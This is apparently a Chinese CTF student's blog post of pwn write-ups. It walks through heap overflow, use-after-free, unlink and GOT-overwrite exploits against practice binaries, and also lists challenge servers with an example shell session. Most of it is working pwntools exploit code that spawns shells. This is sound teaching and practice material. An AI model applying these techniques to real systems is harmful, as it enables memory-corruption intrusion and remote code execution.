题集之三
本周开始写堆相关的题
ezheap
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
就一个简简单单的堆溢出,直接看exp吧
from pwn import *
context(os='linux',arch='i386',log_level='debug')
sh = process("./ezheap")
# sh = remote("node5.anna.nssctf.cn",28070)
payload = b'a'*0x20 + b'\sh'
sh.sendline(payload)
sh.interactive()
UAF
[*] '/home/xunan/桌面/Pwn/heap/UAF/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX保护和canary,四肢健全(增删改查)。需要注意的是show功能,会将申请的序号为0的堆中的内容作为命令执行。
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}
同时我们也无法通过edit对序号0的堆做出修改,所以利用UAF将其值修改即可。
from pwn import *
sh = process("./pwn")
context(os='linux',arch='amd64',log_level='debug')
def malloc():
sh.recvuntil(b':')
sh.sendline(str(1))
def edit(idx,text):
sh.recvuntil(b':')
sh.sendline(str(2))
sh.sendline(str(idx))
sh.sendline(text)
def free(idx):
sh.recvuntil(b':')
sh.sendline(str(3))
sh.sendline(str(idx))
def show(idx):
sh.recvuntil(b':')
sh.sendline(str(4))
sh.sendline(str(idx))
nico_addr = 0x8048642
malloc()
free(0)
malloc()
edit(1,b'sh\x00\x00'+p32(nico_addr))
show(0)
sh.interactive()
unlike
前情提要:每周要至少写五道题,结果本周给新生出题,间接导致题目没写够,所以拿来自己的学习笔记来凑个数,笔记是跟着ctf wiki学的,题目的 exp 在最后。
原理
通过伪造fake chunk,假设存在指针*p
指向fake chunk,使fd=p-0x18,bk=p-0x10
,然后想办法使fake chunk触发unlink即可。
在本例中选择伪造next chunk的prev_chunk
和size
使其相信fake chunk已被释放,从而在释放next chunk的时候向前合并触发unlink。
作用
通过控制
用法解析
本题复现:题目链接
在本题中使用了一个指针列表 global 用来存放所有申请的chunk,列表中的指针指向堆(但是具体是堆的哪里我就不太清楚了,个人感觉好像是堆的user_data部分"关于这一部分我觉得可以参考一下堆申请后指针指向位置")。所以我们可以通过 fake chunk 将 global 列表中的地址改为&global[ ]-0x18。正式由于这样我们才能实现任意地址写。
顺带一提,这道题也是实现了任意地址写,通过这种方式,殊途同归了属于是。
由于IO解析看不懂,这里我就暂时不贴了,想看的话可以点下面的链接跳转过去
基本信息 ¶
➜ 2014_hitcon_stkof git:(master) file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
➜ 2014_hitcon_stkof git:(master) checksec stkof
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unlink/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看出,程序是 64 位的,主要开启了 Canary 和 NX 保护。
基本功能 ¶
程序存在 4 个功能,经过 IDA 分析后可以分析功能如下
- alloc:输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global
- read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况
- free:根据指定索引,释放已经分配的内存块
- useless:这个功能并没有什么卵用,本来以为是可以输出内容,结果什么也没有输出
本题思路
- 利用 unlink 修改 global[2] 为 &global[2]-0x18。
- 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。
- 修改
free@got
为puts@plt
的地址,从而当再次调用free
函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。 - free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
- 修改
atoi@got
为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。
关键参数解析
-
global[ ] 指的就是申请的chunk列表,head指的就是global[]列表头部;
-
free(3)之后他会unlike fake_chunk,然后他会将global[2]中的值改为;
(&global[2])-0x18
,此时再用edit(2)即可覆盖global列表; -
通过修改global列表配合 exit 即可实现任意地址写。
exp
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3) # 向前合并 fake_chunk
p.recvuntil('OK\n')
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()
快来签到
前面有说到,本周为新生出了点题,不过学弟暂时只做出来两道,一道签到一道整数溢出,由于出的题也要做wp,所以这里就拿来凑数了。
出题思路
本意是为了防止学弟一道都写不出来留的签到题,64位编译,直接给shell,但是为了恶搞整了个udx加壳,反编译看不懂,嘿嘿
解题思路
直接nc即可获得shell
$ nc 8.130.106.113 10001
ls
bin
dev
flag.txt
lib
lib32
lib64
pwn
pwn1
出题思路
本意是考一下整数溢出来着,后来想了想索性字符串溢出一起考了,不过由于没测题所以比较意外的是居然还要注意栈对齐。
关于栈对齐的知识,可以参考这篇文章 > 传送门 <
解题思路
$checksec pwn1
[*] '/home/xunan/桌面/Pwn/newpwn/pwnlist/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
--------------------------------------------------
__int64 vuln()
{
__int64 result; // rax
int nbytes; // [rsp+Ch] [rbp-34h] BYREF
char nbytes_4[44]; // [rsp+10h] [rbp-30h] BYREF
int v3; // [rsp+3Ch] [rbp-4h]
__isoc99_scanf("%d", &nbytes);
puts("Input you payload:");
read(0, nbytes_4, (unsigned int)nbytes);
v3 = strlen(nbytes_4);
if ( v3 > 32 || (result = (unsigned int)nbytes, nbytes > 32) )
{
puts("size out.");
exit(0);
}
return result;
}
查看关键函数可以看到,本题有一个整数溢出和一个字符串溢出,另外其实有一个后门函数。
所以绕过这两处之后直接跳转到后门函数即可,不过需要注意可能需要进行栈对齐
from pwn import *
sh = process('./pwn1')
backdoor_addr = 0x40081B
ret_addr = 0x400611
sh.sendline(str(-1))
payload = b'\x00'*0x30 + p64(0) + p64(backdoor_addr)
sh.sendline(payload)
sh.interactive()
最后(xinshengkaohe)
最后的最后,新生考核赛已经完事儿了,租的服务器暂时闲置了,但是比赛的pwn题还在上面跑着。至少还能跑一周吧,都是一些比较新手向的题目,感兴趣的可以连上去看看。
题目以及源码放资源里嘞,复现环境看下面
ex2 : nc 8.130.106.113 10000
pwn : nc 8.130.106.113 10001
pwn1: nc 8.130.106.113 10002
pwn2: nc 8.130.106.113 10003
pwn3: nc 8.130.106.113 10004
就这样吧,诸君武运亨通共勉。